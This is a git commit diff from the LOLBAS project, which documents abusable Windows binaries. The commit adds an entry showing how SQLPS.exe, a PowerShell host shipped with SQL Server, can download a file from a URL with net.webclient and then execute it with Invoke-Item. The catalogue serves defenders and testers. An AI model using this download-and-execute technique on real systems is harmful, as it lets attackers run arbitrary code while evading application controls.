Merge branch 'master' of https://github.com/api0cradle/LOLBAS
commit
e9d20d0390
|
@ -10,7 +10,19 @@ Acknowledgements:
|
|||
* Bryon - @bryon_
|
||||
|
||||
Code sample:
|
||||
*
|
||||
|
||||
* Downloading & executing a file
|
||||
|
||||
```
|
||||
C:\Users>"C:\Program Files (x86)\Microsoft SQL Server\100\Tools\Binn\SQLPS.exe"
|
||||
PS SQLSERVER> (New-Object net.webclient).downloadfile("http://<source file URL>","<local save path>")
|
||||
PS SQLSERVER> ii <downloaded executable>
|
||||
# ii is shorthand for Invoke-Item
|
||||
```
|
||||
|
||||
Notes
|
||||
|
||||
* Path above may vary slightly. If '100' is invalid, try replacing '100' with '110', this was required in a lab setup.
|
||||
|
||||
Resources:
|
||||
* https://twitter.com/bryon_/status/975835709587075072
|
||||
|
@ -24,4 +36,4 @@ Notes:
|
|||
A Powershell host.
|
||||
|
||||
|
||||
|
||||
|
||||
|
|
Loading…
Reference in New Issue